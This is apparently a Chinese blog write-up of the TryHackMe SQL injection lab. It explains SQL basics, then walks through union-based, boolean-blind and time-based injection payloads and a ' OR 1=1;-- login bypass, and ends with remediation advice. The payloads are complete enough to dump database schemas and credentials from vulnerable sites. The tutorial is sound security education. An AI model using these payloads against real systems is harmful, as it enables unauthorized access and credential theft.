【THM】SQL Injection(SQL注入漏洞)-学习

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/sqlinjectionlm

通过学习相关知识点:了解如何检测和利用SQL注入漏洞。

image

简介

SQL(结构化查询语言)注入,通常称为 SQLi,是对 Web 应用程序数据库服务器的攻击,会导致执行针对数据库的恶意查询。 当 Web 应用程序使用未经验证的用户输入与数据库发生通信时,攻击者就有可能窃取、删除或更改私人和客户的数据,并攻击 Web 应用程序的身份验证方式以访问一些私有信息或客户的私有区域。SQLi 不仅是最古老的 Web 应用程序漏洞之一,而且也是最具破坏性的漏洞之一。

在本文中,你将了解什么是数据库、什么是 SQL 以及一些基本的 SQL 命令、如何检测 SQL 漏洞、如何利用 SQLi 漏洞以及开发人员将如何保护web应用程序免受 SQL 注入攻击影响。

答题

image

什么是数据库?

如果你之前不曾使用过数据库或利用过它们,你可能需要先了解一些新术语,所以让我们从一些关于数据库的结构和工作方式的基础知识开始。

什么是数据库?

数据库是以有组织的方法通过电子信息的形式存储数据集合的一种方式。

数据库由 DBMS 控制,DBMS 是数据库管理系统(Database Management System)的字母缩写,DBMS 可分为关系型和非关系型。
本文的重点将放在关系型数据库上,你可能遇到的一些常见数据库有 MySQL、Microsoft SQL Server、Access、PostgreSQL 和 SQLite等。
我们将在本小节结束时解释关系型数据库和非关系型数据库之间的区别,但首先,我们应该学习一些基础术语。

在 DBMS 中,你可以有多个数据库,每个数据库都包含自己的一组相关数据。 例如,你可能有一个名为“shop”的数据库,在此数据库中,你希望存储有关可供购买的产品的信息、已注册到你的在线商店的用户信息以及有关你收到的订单信息;你将使用称为表的东西将这些信息单独存储在数据库中,每个表都用唯一的名称标识。 你可以在下图中看到“shop”数据库结构,但是你还可以从下图中看到企业如何使用其他单独的数据库来存储员工信息或销售团队(accounts team)信息。

image

tips:audit检查、orders订单、payroll工资单

什么是表(table)?

一个表 (table) 由列 (columns) 和行 (rows) 组成,一种有效的理解方式是将表 (table) 想象成一个网格,列从左到右穿过顶部,包含单元格的名称,行则从上到下,每一行都有实际数据。

image

Columns (列) :

每个列,或者称为字段,在每个表都有一个唯一的对应名称。 在创建列时,你还可以设置它将允许包含的数据类型,常见的有整数(数字)、字符串(标准文本)或日期,有些数据库将允许包含更复杂的数据类型,例如地理空间数据(这将包含一些位置信息)。

设置列/字段允许的数据类型还可以确保对应的数据库不会存储一些不正确的数据信息,例如字符串“hello world”不能存储在 规定为日期数据类型的列/字段中,如果发生这种情况,数据库服务器通常会产生一条报错消息以便进行提醒。

包含整数类型的列/字段还可以启用自动递增功能,这能为每一行数据提供一个唯一对应的数字标识,该数字标识会随后续行号增加而增加(即自动递增),这样做会创建所谓的关键字段,关键字段对于每一行数据而言都必须是唯一的,这些关键字段在进行 SQL 查询时可用于查找确切的行。

Rows (行) :

行或记录是包含各个数据行的内容,当你向表中添加数据时,就会创建新的行/记录,而当你删除数据时,则会删除对应的行/记录。

关系型数据库与非关系型数据库:

关系型数据库会将数据信息存储在表中,并且表和表之间通常可以共享信息,关系型数据库将在具体的表中使用列来指定和定义要存储的数据,并使用行来实际存储数据;这些表通常都会包含具有唯一 ID(主键) 的列,在其他表中也可以使用 ID 来引用主键所对应的列 从而在表之间建立关系,因此这种数据库被称为关系型数据库。

另一方面,被称为 NoSQL 的非关系型数据库是一种不使用表、列和行来存储数据的数据库,这种数据库不需要构建特定的数据库布局,因此每一行数据都可以包含不同的信息,非关系型数据库可以比关系型数据库更具灵活性地存储数据信息。 一些流行的非关系型数据库包括 MongoDB、Cassandra 和 ElasticSearch等。

现在你已经了解了数据库是什么,让我们继续了解如何使用 SQL 与数据库进行实际对话。

答题

image

什么是SQL?

SQL(结构化查询语言)是一种用于查询数据库的功能丰富的语言,具体的 SQL 查询通常被称为 SQL 语句。

我们将在此小节中介绍一些最简单的SQL命令,主要用于检索(选择-select)、更新(update)、插入(insert)和删除(delete)数据;尽管存在相似之处,但是不同的数据库服务器都有属于自己的SQL语法并且在工作方式上也会有一些细微的变化。

接下来的示例都将基于 MySQL 数据库,通过在线搜索你可以很轻松地找到不同数据库服务器所对应的替代语法,值得注意的是,在SQL 语法中并不会区分大小写字母。

SELECT

我们将学习的第一种查询类型是用于从数据库中检索数据的 SELECT 查询。

select * from users;

image

第一个单词 SELECT 告诉数据库我们想要检索一些数据;* 告诉数据库我们想要从表中接收所有列信息,例如,该表可能包含三列(id、username和password);from users告诉数据库我们要从名为users的表中检索数据;最后,末尾的分号;告诉数据库 查询语句到此结束。

下一条查询语句与上面的类似,但是我们不再使用 * 返回数据库表中的所有列信息,而是只请求username和password字段(列)。

select username,password from users;

image

接下来的查询语句将使用*选择器返回所有列信息,然后再使用LIMIT 1子句强制数据库仅返回一行数据;将查询子句更改为LIMIT 1,1会强制查询语句跳过第一个查询结果,使用子句LIMIT 2,1会跳过前两个查询结果,依此类推,你只需要记住上述查询子句的第一个数字会告诉数据库你希望跳过多少个查询结果,而第二个数字会告诉数据库需要返回多少行数据。

select * from users LIMIT 1;

image

接下来,我们将使用 where 子句,我们可以通过返回与我们的特定子句相匹配的数据来挑选出我们所需要的确切目标数据:

select * from users where username='admin';

使用以上查询语句,将只返回用户名等于 admin 的行。

image

select * from users where username != 'admin';

使用以上查询语句,将只返回用户名不等于 admin 的行。

image

select * from users where username='admin' or username='jon';

使用以上查询语句,将只返回用户名等于 admin 或 jon 的行。

image

select * from users where username='admin' and password='p4ssword';

使用以上查询语句,将只返回用户名等于 admin 且密码等于 p4ssword 的行。

image

使用like子句可以对目标数据进行不完全匹配查询,我们可以通过选择百分号%所表示的通配符的具体放置位置 来指定包含某些字符、以某些字符作为开头或者以某些字符作为结尾的目标数据。

select * from users where username like 'a%';

这将返回username字段中以字母 a 开头的所有行。

image

select * from users where username like '%n';

这将返回username字段中以字母 n 结尾的任何行。

image

select * from users where username like '%mi%';

这将返回用户名中包含字符 mi 的任何行。

image

UNION

UNION 语句将组合两个或多个 SELECT 语句的结果以从单个或多个表中检索数据;在进行多表查询时,此查询的规则是 UNION 语句必须在每个 SELECT 语句中检索相同数量的列,这些列必须具有相似的数据类型并且列顺序必须相同。 这听起来可能不是很清楚,所以让我们使用以下例子类比:假设一家公司想要为所有客户和供应商创建一个地址列表以邮寄新商品目录,我们有一个名为 customers 的表,其中包含以下内容:

image

还有另一个表为供应商表(suppliers ),内容如下:

image

使用下面的 SQL 语句,我们可以从上面的两个表中收集查询结果并将它们放入一个结果集合中(最终合并的列名,由第一条SELECT语句的查询结果决定):

SELECT name,address,city,postcode from customers UNION SELECT company,address,city,postcode from suppliers;

image

INSERT

INSERT 语句将告诉数据库我们希望向表中插入一行新数据。
into users告诉数据库我们希望将数据插入哪个表,(username,password)将指明我们需要为其提供新数据的列/字段属性,然后是values ('bob','password123');将为先前指定的列提供一行新数据。

insert into users (username,password) values ('bob','password123');

image

UPDATE

UPDATE 语句将告诉数据库我们希望更新表中的一行或多行数据。
你可以使用update %tablename% SET来指定要更新的表,然后选择你想要更新的一个或多个字段(此处需要指明列/字段的具体值)并用逗号分隔清单,例如username='root',password='pass123',最后与 SELECT 语句类似,你还可以使用 where 子句来准确指定你要更新的行,例如where username='admin';

update users SET username='root',password='pass123' where username='admin';

更新之前为:2 admin p4ssword

更新之后为:2 root pass123

image

DELETE

DELETE 语句将告诉数据库我们希望删除一行或多行数据。除了缺少你希望返回的列之外,此查询的格式与 SELECT语句 非常相似,在此处可以使用 where 子句来精确指定你想要删除的数据,并可使用 LIMIT 子句来指定要删除的行数。

delete from users where username='martin';

被删除的数据:3 martin secret123

image

delete from users;

如果查询语句中没有使用 WHERE 子句,那么表中的所有数据都会被删除。

image

答题

image

什么是SQL注入漏洞?

什么是SQL注入?

当用户提供的数据能够被包含在 SQL 查询语句中时,使用 SQL 的 Web 应用程序就会受到 SQL 注入攻击影响。

SQL注入是什么样子的?

假设你访问一个在线博客网站,该网站上的每个博客条目都有一个唯一的 ID 号相对应,博客条目可以设置为公开或私有,具体取决于它们是否准备好公开发布。

每个博客条目的 URL 可能如下所示:

https://website.thm/blog?id=1

从上面的 URL 中,你可以看到所选择的博客条目ID来自于查询字符串中的 id 参数,当该Web 应用程序需要从数据库中检索对应的博客文章时,则可能会使用如下所示的 SQL 语句:

SELECT * from blog where id=1 and private=0 LIMIT 1;

根据你在上一个小节中学到的知识,你应该能够得知上面的 SQL 语句的作用是 在 blog 表中查找 id 号为 1 且private列属性被设置为 0 (这意味着它能够供公众查看)的博客文章,最后的查询结果被限制为只有一个匹配项。

正如本小节开始时所提到的,当用户的输入被引入到数据库查询语句中时,就会发生 SQL 注入。 在此实例中,你可以发现 URL 查询字符串中的 id 参数被直接用于 SQL 查询语句中。

假设文章 id 2 被锁定为私有,因此我们无法在网站上直接查看该文章,我们现在可以尝试修改 URL :

https://website.thm/blog?id=2;--

然后对应的 SQL 语句如下:

SELECT * from blog where id=2;-- and private=1 LIMIT 1;

URL https://website.thm/blog?id=2;-- 中的分号表示 SQL 语句的结束,两个短横线符号则会导致其后面的所有内容都被视为注释(这里的分号和短横线都为英文字符)。

通过这样处理,实际上在运行的SQL查询为:

SELECT * from blog where id=2;--

以上查询语句将返回 id 为 2 的博客文章,无论它是否设置为公开权限。

以上示例是一种被称为带内 SQL 注入的 SQL 注入漏洞类型;基础的SQL注入类型有 In-Band, Blind 和 Out Of Band ,我们将在接下来的知识点小节中进行讨论。

tips(国内博客中引入的说法,仅供参考):

如何判断是否存在SQL注入:
在URL或者一个提交表单中输入一个英文单引号或者其他特殊符号,如果页面出现错误说明此页面存在SQL注入,如果页面正常显示说明可能有字符被过滤了或者不存在注入。

SQL注入的具体类别:
事实上SQL注入有很多种,
按数据类型可以分为数字型、字符型等,
按提交方式可分为GET型,POST型,Cookie型和HTTP请求头注入,
按执行效果有可以分为报错注入、联合查询注入、盲注和堆查询注入,其中盲注又可分为基于bool的盲注和基于时间的盲注。

基于搜索的注入查询语句为:SELECT * FROM user WHERE search like '%1%'
基于搜索的注入也可分为POST型和GET型,GET型一般是用于实现网站上的搜索功能,而POST型则是用在用户登录处,可以从form表单的method=" "属性来区分是GET型还是POST型。
基于搜索的注入又被称为文本框注入。

答题

image

tips:分号(英文符号)表示SQL语句段的结束。

带内SQLi(SQL injection)

带内(In-Band) SQL 注入

带内 SQL 注入是最容易检测和利用的SQL注入类型;In-Band 是指使用相同的通信方法来利用漏洞以及接收攻击结果,例如,在网站某一页面上发现了 SQL 注入漏洞,然后能够从数据库中提取数据到发现注入点的同一页面。

基于报错(Error-Based)的 SQL 注入

这种类型的 SQL 注入对于轻松获取有关数据库结构的信息最有用,因为来自数据库的错误消息会直接打印到浏览器屏幕,这通常可用于枚举整个数据库。

基于联合(Union-Based)的 SQL 注入

这种类型的SQL注入会利用 UNION 运算符和 SELECT 语句将其他结果返回到发现注入点的页面,此方法是通过 SQL 注入漏洞获取大量数据的最常用方法。联合查询相当于把别的表的数据查询结果显示到当前表,使用联合查询时,必须使得两张表的表结构一致,因此我们需要判断当前表的列数有多少列。

联合型注入发生的前提条件:要有显示位,在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端则会将数据展示在某个页面中,这个展示数据的位置就叫显示位。

注:加号+在URL中有特殊含义,所以当我们在URL中使用的SQL注入payload包含了加号,那么就需要对其进行URL编码,经过URL编码的加号为%2b

Practical:

在TryHackMe相关实验房间中,单击绿色的“启动机器”按钮以使用 SQL 注入示例练习实验室(这个SQL注入实验室在接下来的几个知识点小节中也会用到);每个实验级别都包含一个模拟浏览器以及 SQL 查询框和报错框,以帮助你获得 查询/有效载荷 的最终结果。

注:在进行SQL注入时,可以直接在URL中提交注入语句,此时需要将SQL语句中的注释符#进行URL编码(或者使用--进行注释),有时候整个SQL注入语句都需要经过URL编码处理。

SQL注入实验的第一关包含一个模拟浏览器和一个网站,该网站是一个在线博客网站,你可以通过更改 URL 查询字符串中的 ID 号来访问不同的博客文章网页。

发现基于报错的 SQL 注入的关键是通过尝试某些字符来破坏代码的 SQL 查询,直到产生错误消息; 最常见的是使用英文单引号 (') 或英文双引号 (")。

我们可以尝试在URL中的 id=1 后键入英文单引号 ('),然后按下 Enter 键,如果你看到当前页面返回一个 SQL查询 报错,以通知你所使用的SQL语法中存在错误,那么基于收到报错消息这一事实,你已经成功验证了当前网站页面存在SQL 注入漏洞;我们可以进一步利用此注入漏洞并通过报错消息来了解有关数据库结构的更多信息。

我们接下来需要尝试将数据库中的数据返回给浏览器页面而不是简单地显示一些错误消息。 首先,我们将使用 UNION 运算符,以便我们可以接收到我们所查询到的一些额外结果,尝试将模拟浏览器URL中的 id 参数设置为:

1 UNION SELECT 1

以上语句会产生一条错误消息,通知我们 UNION SELECT 语句的列数与原始 SELECT 查询的列数不同;因此,我们可以添加列数并再试一次:

1 UNION SELECT 1,2

以上语句又产生了和之前同样的错误,所以我们再添加一列进行尝试:

1 UNION SELECT 1,2,3

以上语句执行成功,我们可以发现报错消息消失了,当前页面将显示id为 1 的文章,但是我们想显示数据库中的数据而不是显示文章内容。此处会显示文章内容是因为查询语句在网站代码的某处获取到了第一个返回结果并将该结果显示在当前网页页面;为了解决这个问题,我们需要让第一条查询语句不产生任何结果,这可以简单地通过将文章 ID 从 1 更改为 0 来完成。

0 UNION SELECT 1,2,3

你现在将看到浏览器当前页面内容仅由UNION select的结果组成即只返回列值(value) 1、2 和 3 ;我们可以使用这些返回值来检索更有用的信息,首先,我们将获取我们有权访问的数据库名称:

0 UNION SELECT 1,2,database()

使用以上语句,你将看到之前显示数字 3 的位置 现在将显示目标数据库的名称,即 sqli_one

我们的下一个查询将收集该数据库中的所有表(table)信息。

0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'

在此查询中有一些新东西需要学习:首先,group_concat() 方法能够从多个返回的行中获取指定的列(在我们的例子中为 table_name 列/字段),并将其放入一个以逗号分隔的字符串中;接下来是 information_schema 信息数据库,目标数据库的每个用户都可以访问这个信息数据库,该信息数据库将包含有关用户有权访问的所有数据库和表的信息。 在这个特定的查询中,我们可以列出 sqli_one 数据库中的所有表,即 article 表和 staff_users 表 。

由于此SQL注入实验第一关旨在发现 Martin 的密码,因此我们对 staff_users 表感兴趣,我们可以再次利用information_schema信息数据库,使用以下查询找到该表的结构:

0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'

上面这条查询类似于前面用于查找表名的 SQL 查询,但是,在此处我们要检索的信息已从之前的 table_name字段 更改为 column_name字段,并且我们在信息数据库information_schema中要查询的信息表从tables (表) 更改为columns (列) 。最后我们接着搜索 table_name 列的值为staff_users的所有行。(结合group_concat之后,此处从信息数据库中查询到的是关于数据库所有列名的信息,最后再结合where子句筛选出staff_users表中的所有列名)

由查询结果可知 staff_users 表有三列:id、password 和 username。 我们可以使用包含username和password 列(字段)的查询语句来检索用户信息。

0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users

我们再次使用 group_concat 方法将所有行信息都返回到一个字符串中,我们添加了 ,':',来将用户名信息和密码信息彼此分开,我们在此处没有用逗号分隔,而是选择了 HTML中的 <br> 标记来作为分隔符号,它将强制每个查询结果都位于单独的一行上,以便于我们查看最终的SQL注入查询结果。

我们现在可以访问到 Martin 的密码信息并能进入下一级别的SQL注入关卡(这将在下一小节中进行操作介绍)。

答题

image

启动实验环境:

image

加英文单引号:

image

上图报错信息所对应的中文翻译:

image

猜解原始 SELECT 查询的列数:

1 UNION SELECT 1

1 UNION SELECT 1,2

1 UNION SELECT 1,2,3

image

image

image

让原始select查询不产生任何结果,将id = 1 改为id = 0 即可:

0 UNION SELECT 1,2,3

image

查询目标数据库的名称:

0 UNION SELECT 1,2,database()

image

查询目标数据库包含的表名:

0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'

image

查询staff_users 表中的列名:

0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'

image

检索 staff_users 表中的用户信息:

0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users

image

获取实验关卡一的flag:

image

image

THM

SQL盲注—身份认证绕过

Blind SQLi (盲注类型的SQL注入)

与我们可以直接在屏幕上看到攻击结果的带内 SQL 注入不同,盲注类型的 SQLi 是指我们几乎没有或根本没有反馈信息来确认我们所注入的SQL查询是否成功,这是因为错误消息已被禁用,但实际上注入攻击可能仍然有效,只是无法直接在页面上看到SQL注入结果。在盲注类型的SQL注入攻击中,我们所需要的只是成功枚举整个数据库之后的一点点反馈信息。

Authentication Bypass (身份认证绕过)

最直接的 SQL 盲注技巧是绕过登录表单等身份验证方法进行SQL注入,在这种情况下,我们对从数据库中检索数据并不感兴趣,我们只是想通过SQL注入来实现登录成功的操作。

连接到用户数据库的登录表单通常以这样一种方式开发,即 Web 应用程序对用户名和密码的内容其实并不感兴趣,更多的是关注这两者所对应的数据是否 在数据库的用户表中能够得到匹配;简而言之,Web 应用程序将询问其对应的数据库“你是否有用户名为 bob 且密码为 bob123 的用户?”等类似问题,而数据库则负责回答yes或no(真true/假false),该答案将决定 Web 应用程序是否允许你通过登录验证并实现登录成功操作。

考虑到上述信息,我们在此处没有必要枚举有效的用户名以及密码值,我们只需要构建一个以 yes/true 作为回复的数据库查询语句即可。

练习

进入SQL 注入实验的关卡二,我们可以在标有“SQL查询”的框中看到对数据库的原始查询如下:

select * from users where username='%username%' and password='%password%' LIMIT 1;

注意:%username% 和 %password% 值都将取自登录表单中的输入字段,在此处SQL 查询框中的初始值将为空,因为这些字段当前在登录表单中输入为空。

为了使上述查询成为一个始终返回 true 的查询,我们可以在登录表单的密码字段中输入以下内容:

' OR 1=1;--

然后在登录表单的用户名字段输入随机内容,以输入 1 为例。

通过完成以上操作将使之前的 SQL 查询变成以下内容:

select * from users where username='1' and password='' OR 1=1;

因为 1=1 是一个 true 语句并且我们还使用了 OR 运算符,所以这条查询语句将始终导致SQL查询的返回结果始终为 true,这就满足 web 应用程序逻辑,即web应用程序会认为数据库已经找到了有效的用户名/密码组合 然后将允许我们成功通过登录验证机制 。

答题

image

查看关卡二的原始查询界面:

image

在用户名框输入1或者其他字符,在密码框中输入payload ' OR 1=1;--

image

点击登录,出现以下界面:

image

获取SQL实验关卡二的flag(转到第三关即可查看关卡二的flag):

image

THM

SQL盲注—基于布尔

基于布尔的SQL盲注

基于布尔的 SQL 注入是指:当我们经过注入尝试之后,所收到的响应可能为 true/false、yes/no、on/off、1/0 或其他任何只会有两个结果的响应消息。布尔值所对应的结果将向我们确认 SQL 注入payload是否执行成功,你可能会觉得这种有限的回答无法提供太多信息,但实际上,仅通过两种响应结果,我们就可以枚举整个数据库结构和内容。

练习

在 SQL 注入实验的第三关,你将看到一个具有以下 URL 的模拟浏览器:

https://website.thm/checkuser?username=admin

浏览器主体还包含其他内容: {"taken":true} 。 这个 API 端点对应的是许多注册表单上的一个常见功能,即检查用户名是否已注册 以提示用户是否应该重新选择不同的用户名;因为此处的取值为 true,所以我们可以假设用户名 admin 已经被注册。 事实上,我们也可以通过将模拟浏览器地址栏中的用户名从 admin 更改为 admin123 来确认这一点,修改用户名之后按下回车键,如果你看到taken值更改为 false,则代表用户名admin123未注册,相对应地我们就能知道之前显示的用户名admin已经被注册了。

该关卡提供的原始 SQL 查询语句如下所示:

select * from users where username = '%username%' LIMIT 1;

我们可以控制查询字符串中的用户名,因为它是唯一的用户输入点,所以我们将不得不使用它来执行我们的 SQL 注入攻击。 将用户名设置为 admin123,此时所对应的taken值为false,我们可以尝试在admin123后面附加SQL注入payload,直到将 taken 字段的状态从 false 更改为 true。

与之前的关卡一样,我们的首要任务是先确定用户表的列数,我们可以使用 UNION 语句来实现,尝试将用户名对应的值更改为以下内容:

admin123' UNION SELECT 1;--

由于 Web 应用程序响应的taken值为 false,因此我们可以确认列数 1 不是正确的列值,我们可以继续添加更多列,直到我们得到的taken值为 true 。你可以通过将用户名设置为以下值来确认用户表实际的列数为 3 :

admin123' UNION SELECT 1,2,3;--

现在我们已经确定用户表的列数,我们可以进行关于目标数据库的枚举操作。我们的首要任务是发现数据库名称,为此,我们可以使用database()方法,然后使用 like运算符尝试查找将返回taken值为true状态的结果。

尝试使用下面的用户名值,看看会发生什么:

admin123' UNION SELECT 1,2,3 where database() like '%';--

我们得到一个true的响应,因为在like运算符中,我们只提供了%的值,%是通配符值,它将匹配任何东西。 如果我们将通配符更改为a%,你将看到响应的返回值为false,这说明目标数据库名称不是以字母 a 开头;我们可以循环遍历所有字母、数字和字符,例如字符-_,直到找到匹配项为止。

如果你将以下payload内容作为用户名值发送,你将收到一个返回值为true的响应,这说明数据库名称是以字母s开头的。

admin123' UNION SELECT 1,2,3 where database() like 's%';--

现在你需要移动到数据库名称的下一个字符继续使用通配符,直到找到另一个返回值为true的响应,例如“sa%”、“sb%”、“sc%”等;重复以上过程,直到你发现数据库名称的所有字符为止,最终我们成功得到了目标数据库的名称,即 sqli_three

我们已经知道了数据库名称,我们可以继续使用information_schema信息数据库通过类似的方法来枚举表的名称,尝试将用户名设置为以下值:

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';--

以上查询语句将在 information_schema 信息数据库中查找 数据库名称为 sqli_three 且表名称以字母a开头的tables表的结果。由于上述查询结果为false响应,我们可以确认 sqli_three 数据库中没有以字母a开头的表;像之前一样,你需要循环遍历字母、数字和字符,直到找到完整的匹配项。

最终我们在 sqli_three 数据库中发现一个名为 users 的表,你可以通过运行以下payload来确认:

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name='users';--

最后,我们需要枚举 users 表中的 列(字段) 名,以便我们可以正确地在其中搜索用户的登录凭据。我们再次使用 information_schema 信息数据库并结合我们已经获得的信息,开始查询 users 表的列名。 使用下面的payload,我们可以搜索数据库名称为sqli_three,表名为users,并且列名以字母a开头的列信息表。

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';--

同样,你需要循环遍历字母、数字和字符,直到找到匹配项。 当你正在匹配多个查询结果时,你必须在每次找到新的列名时将其添加到你的payload中,这样你就不会一直发现相同的结果;例如,当你找到名为 id 的列后,你需要将其附加到原始的payload中(如下所示),以便继续查找下一个列名。

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';--

重复上述过程,你最终能够发现 users 表中的所有列名为 idusernamepassword。 现在我们可以使用列名来查询 users 表的内容以获取有效登录凭据;首先,你需要发现一个有效的用户名,你可以尝试使用下面的payload:

admin123' UNION SELECT 1,2,3 from users where username like 'a%';--

继续循环遍历所有字符,你将确认用户名 admin 的存在。知道了有效的用户名之后,我们需要继续发现该用户名所对应的密码值,下面的payload向你展示了如何找到用户名 admin 所对应的密码值:

admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%';--

使用上面的payload,循环遍历所有字符,你会发现该密码值为3845

答题

image

查看关卡三的原始查询界面:

image

确认原始查询所用的表中的列数:

admin123' UNION SELECT 1,2,3;--

image

查询数据库的名称(通过使用'%'通配符进行猜解):

admin123' UNION SELECT 1,2,3 where database() like 'sqli_three';--

image

查找表名(通过使用'%'通配符进行猜解):

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name='users';--

image

查找表中的列名(通过使用'%'通配符进行猜解):

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'id';--

image

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'username' and COLUMN_NAME !='id';--

image

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'password' and COLUMN_NAME !='id' and COLUMN_NAME !='username';--

image

查找表中的一个有效用户名(通过使用'%'通配符进行猜解):

admin123' UNION SELECT 1,2,3 from users where username like 'admin';--

image

查找表中的有效用户名所对应的密码(通过使用'%'通配符进行猜解):

admin123' UNION SELECT 1,2,3 from users where username='admin' and password like '3845';--

image

在登录表单中输入获取的用户名和密码值,进行登录操作:

image

进入关卡四,获取关卡三的flag:

image

THM

SQL盲注—基于时间

基于时间的SQL盲注

基于时间的 SQL 注入与上述基于布尔值的SQL注入非常相似,也会发送相同的请求,但是在此处并没有视觉指示器来表明你的查询是对还是错,在时间盲注中,一个正确的SQL查询的指标完全基于该查询完成所需要的时间长短。

时间延迟的查询效果是通过使用内置方法(例如 SLEEP(x))以及 UNION 语句来实现的,SLEEP()方法只会在 UNION SELECT 语句查询成功时执行。

因此,当我们想确定原始查询所用表的具体列数时,可以使用以下查询:

admin123' UNION SELECT SLEEP(5);--

如果以上查询的响应时间很短,我们就能知道查询是不成功的,所以我们需要添加列数并继续尝试:

admin123' UNION SELECT SLEEP(5),2;--

以上payload在得到响应时,产生了 5 秒左右的时间延迟,这就说明了UNION SELECT 语句已经成功执行并且 我们可以得知原始查询所用的表一共有两列。

你现在可以参考之前在布尔盲注中所使用的payload 来完成重复枚举过程,将 SLEEP() 方法添加到 UNION SELECT 语句中即可。

如果你想查找数据库名称,请参考下面的查询以提供你一些帮助:

referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';--

答题

image

查看关卡四的原始查询语句,选择url一栏按下回车键即可:

image

在url中使用以下payload来猜解表的列数:

admin123' UNION SELECT SLEEP(5);--

admin123' UNION SELECT SLEEP(5),2;--

image

image

参考之前在布尔盲注中所使用的payload来完成对目标数据库的重复枚举过程(通过使用'%'通配符进行猜解),以下只给出查找数据库名称时所用的payload以及最终查询时所用的payload:

admin123' UNION SELECT SLEEP(5),2 where database() like 'sqli_four';--

admin123' UNION SELECT SLEEP(5),2 from users where username like 'admin' and password like '4961';--

image

image

输入刚才查询得到的正确用户名和密码,获取关卡四的flag:

image

THM

带外SQLi(SQL injection)

带外(Out-of-Band) SQL 注入并不常见,因为它取决于数据库服务器上启用的特定功能或 Web 应用程序的业务逻辑,带外SQL注入攻击能根据 SQL 查询的结果进行某种外部网络调用。

带外SQL注入攻击可分为两种不同的通信渠道,其中一种将用于发起注入攻击,另一种则用于收集攻击结果。 例如,攻击渠道可能是通过 Web 请求,而数据收集渠道可能是通过监控 针对你所控制的服务器而发出的 HTTP/DNS 请求。

  1. 攻击者使用SQL注入payload向存在SQLi漏洞的目标网站发出 Web 请求。
  2. 目标网站对数据库进行 SQL 查询操作,相关的查询语句会加载攻击者所使用的payload。
  3. 攻击者所使用的payload中另外还包含了一个请求,该请求会强制将 包含来自目标服务器数据库的数据的HTTP请求 返回到攻击机上。

image

答题

image

SQL注入漏洞修复

漏洞修复

由于SQL 注入漏洞的影响力,开发人员可以通过遵循下面的一些建议来保护他们的 Web 应用程序免受侵害。

预编译语句(使用参数化查询):

在预编译查询中,开发人员首先编写的是 SQL 查询语句,然后再将任何用户输入都添加为查询语句中的参数。 编写预编译语句可以确保 SQL 代码结构不发生变化,并且数据库也可以更好地区分查询和数据,使用预编译语句还将让你的代码看起来更简洁且更易于阅读。

对外部输入进行验证:

输入验证处理可以大大保护输入到 SQL 查询语句中的内容。 通过建立允许列表(白名单)可以将输入限制为仅允许某些字符串,或者通过使用编程语言中的字符串替换方法来过滤一些你允许的字符或不允许的字符。

转义用户输入:

允许用户输入包含诸如 ' " $ \ 之类的特殊字符可能会导致 SQL 查询中断,或者更糟糕的是 攻击者可通过输入这些字符以进行SQL注入攻击;转义用户输入的方法是在这些特殊字符前面加上反斜杠 (\) 字符,然后就能将这些字符作为常规字符串处理而不是作为特殊字符进行解析。

答题

image

posted @ 2022-11-29 21:43  Hekeatsll  阅读(1102)  评论(2编辑  收藏  举报